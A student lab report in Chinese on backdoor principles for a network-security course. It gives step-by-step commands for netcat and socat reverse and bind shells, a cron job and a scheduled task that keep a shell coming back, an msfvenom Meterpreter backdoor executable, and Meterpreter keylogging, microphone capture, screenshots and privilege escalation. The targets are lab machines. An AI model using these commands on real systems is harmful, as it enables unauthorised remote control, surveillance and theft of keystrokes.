20164322韩玉婷 -----Exp2 后门原理和实践
一、后门的概念
后门是指那些绕过安全性控制而获取对系统访问权的程序
二、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
非官方网站下载应用程序时,该应用程序可能绑定了一些可执行文件,因此留下后门。或者当我们打开一个网页时,如果该网页会自动链接到木马程序的话,就会在后台自动下载安装木马的安装程序,
并会自动安装木马,生成可执行文件,以此在系统留下后门。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件
Linux:通过crontab功能将后门设为定时启动;也可以通过对正常软件绑定注入shellcode
(3)Meterpreter有哪些给你映像深刻的功能?
在植入后门后,可以控制被控主机的shell,执行指令;获取被控主机的录音、录像、截图、键盘输入记录等。
(4)如何发现自己有系统有没有被安装后门?
打开防火墙,查看有没有异常开放的端口;
安装杀毒软件,实时监控电脑,定时对系统进行检测;
三、实验准备
1、在实验前关闭或退出了防火墙、360杀毒软件、电脑卫士等所有的电脑保护软件,避免在实验过程中攻击时被拒绝。
2、使用Windows获linux shell
(1)在Windows下使用ipconfig查看本机IP,地址为192.168.230.1

(2) 使用ncat.exe程序打开监听ncat.exe -l -p 4322

(3) 在kali中反弹连接Windows,nc 192.168.230.1 4322 -e /bin/sh,使用-e选项执行shell程序。
Windows成功获得kali的shell。

3、使用linux获windows shell
(1)使用ifconfig查看IP,为:192.168.33.131

(2)打开监听nc -l -p 4322
在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.33.131 4322
kali成功获得Windows的命令提示

4、使用nc传输数据
Windows下监听4322端口,ncat.exe -l 4322
kali反弹连接到Windows的4322端口,nc 192.168.230.1 4322
连接建立成功,双方可以相互传输数据

实验内容
参数说明
- -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
- -e 使用的编码器,用于对shellcode变形,为了免杀。
- -i 编码器的迭代次数。如上即使用该编码器编码5次。
- -b badchar是payload中需要去除的字符。
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型
>输出到哪个文件
一、使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
在Windows系统下,监听4322端口
在Kali环境下,用crontab -e指令编辑一条定时任务,选择编辑器时选择3(第一次会提示选择编辑器,以后就不会提示了);

在最后一行添加45 * * * * /bin/netcat 192.168.230.1 4322 -e /bin/sh,意思是在每个小时的第45分钟反向连接Windows主机的4322端口,
设置成45的原因是我当时的时间是14点42,为了能立马看到效果,所以我将时间设置成了45。保存并退出 :wq

crontab -l 可查看配置的任务

当时间到了第22分时,win获得linux的shell,可执行相关命令

二、使用socat获取主机操作Shell, 任务计划启动
socat:
- socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
- socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
在Windows系统下,打开:控制面板->系统和安全->管理工具->任务计划程序,在操作选项(菜单栏)中,选择“创建任务”,填写任务名称123,之后,新建触发器,选择开始任务时间为:工作站锁定时。
.新建操作,选择启动的程序为socat.exe,参数项填为tcp-listen:4322 exec:cmd.exe,pty,stderr ,含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上
(注:这里填写任务名称是第一次是123,但是由于出现问题,我重新做了一遍,然后第二次填写的任务名称是hyt,当时这部分的图已经截好了,所以没有截第二次,但是在任务三中用到该文件时文件名为hyt)

创建完成之后,按Win+L 快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行,

(但是不明白为什么,我再次打开后依旧没有运行,所以只好手动运行)

在kali终端输入指令socat - tcp:192.168.28.166:7777 (注:socat里面,必须有两个流,这里的第一个流[参数-]代表标准的输入输出,第二个流表示连接到Win7主机的7777端口),此时可发现已经成功获得了一个windows shell

三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
生成后门程序,指令为 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.33.131 LPORT=4322 -f exe > hyt_backdoor.exe
(注:这里设置的主机IP、端口为kali[攻击机]的IP、端口)

win10上运行ncat命令,等待接收hyt_backdoor.exe
ncat.exe -lv 4322 > hyt_backdoor.exe
kali上运行ncat命令,传输hyt_backdoor.exe到win10主机(IP:192.168.230.1)上
ncat -nv 192.168.230.1 4322 < hyt_backdoor.exe

效果如图:

在kali上使用msfconsole 指令进入msf控制台

进行配置:
use exploit/multi/handler //使用handler模块

set payload windows/meterpreter/reverse_tcp //设置载荷,字面意思应该是基于TCP的反向连接反弹windows shell

show options //查看利用模块的设置信息
set LHOST 192.168.28.181 //接下来的两个set是配置模块的设置信息,这里是设置本主机kali的IP
set LPORT 7777 //设置本主机的端口
show options //再次查看一下options,确保设置正确
exploit //运行模块

查看kali,发现获得了win10主机的连接,并且得到了远程控制的shell,可执行相关命令

四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
由上面的exploit操作,已经获得shell,接下来,尝试获取目标主机音频、摄像头、击键记录等内容
获取目标主机音频、截屏内容:
record_mic //音频
screenshot //截屏

效果如图:

windows中有摄像设备,可以获取一下摄像头所拍摄相片(如图)

kali上输入指令keyscan_start ,开始记录windows上任何键盘记录,随意在windows上输入一些字母,之后kali上输入指令keyscan_dump ,就可下载键盘记录
我在一个文档中输入了自己的学号(linux终端有显示)

先使用getuid 指令查看当前用户,再使用getsystem 指令进行提权,但是提权失败,上网搜索原因,说是在windows机器上需要以管理员身份运行,才能提权, 所以我就以管理员的身份运行了一下
提权成功

实验感想:通过本次实验,我对网络安全方面的只是有了一些了解,之前学习的都比较理论,这种实际操作感觉很神奇,虽然现在的我仅仅只是了解后门的基本原理,但是我对信息安全的防护意识提高了。发现系统防范入侵的能力很低,所以之后一定要更加注重信息安全。
20164322韩玉婷 -----Exp2 后门原理和实践的更多相关文章
- 20145220韩旭飞《网络对抗》Exp2 后门原理与实践
20145220韩旭飞<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Windows下,先使用ipconfig指令查看本机IP: 使用n ...
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
随机推荐
- vue 的全局组件和 局部组件
vue组件局部与全局注册的区别 //局部注册 var mycomponent = new extend({ <!--Vue.extend()是Vue构造器的扩展,调用Vue.e ...
- day44-Celery异步分布式
celery异步分布式Celery是一个python开发的异步分布式任务调度模块.Celery本身并不提供消息服务,使用第三方服务,也就是borker来传递任务,目前支持rebbimq,redis, ...
- http/1.0/1.1/2.0与https的比较
HTTP是HyperText Transfer Protocol的缩写,译为超文本传输协议.是一种应用于OSI七层模型中应用层的协议,是我们平常互联网网络通信传输的基础.它的作用就是规定了服务器和客户 ...
- Struts2中Action之ResultType
我们在struts-defalut.xml文件中可以看到如下图所示: 这些类型是配置文件所带的.接下来我们主要讲解我标注出来的这个,其他的我就不做详解了,有兴趣的可以去试试. web.xml文件我在这 ...
- Node.js 串口通讯 node-serialport 使用说明
官网:https://serialport.io/en/ 安装:npm install serialport Parsers说明:parser-byte-length:大概意思是定义了一个长度为len ...
- Beta冲刺 7
前言 队名:拖鞋旅游队 组长博客:https://www.cnblogs.com/Sulumer/p/10129067.html 作业博客:https://edu.cnblogs.com/campus ...
- Spring源码学习(5)—— bean的加载 part 2
之前归纳了从spring容器的缓存中直接获取bean的情况,接下来就需要从头开始bean的加载过程了.这里着重看单例的bean的加载 if(ex1.isSingleton()) { sharedIns ...
- 如何优雅的关闭Golang Channel?
Channel关闭原则 不要在消费端关闭channel,不要在有多个并行的生产者时对channel执行关闭操作. 也就是说应该只在[唯一的或者最后唯一剩下]的生产者协程中关闭channel,来通知消费 ...
- session_id() , session_start(), $_SESSION["userId"], header("Location:homeLogin.php"); exit 如果没有登录, 就回登录页
if(!session_id()) session_start(); header("Content-type:text/html;charset=utf-8"); if (emp ...
- 2018-CVTE中央研究院-自然语言处理算法工程师-电话初面问题
楼主NLP初学者一名,有幸参加2018年CVTE中央研究院自然语言处理电话面试,问题总结如下: 1.详细的介绍自己的学术论文(感觉他们非常重视这块),会问你网络的具体构造,注意力机制如何计算以及为何你 ...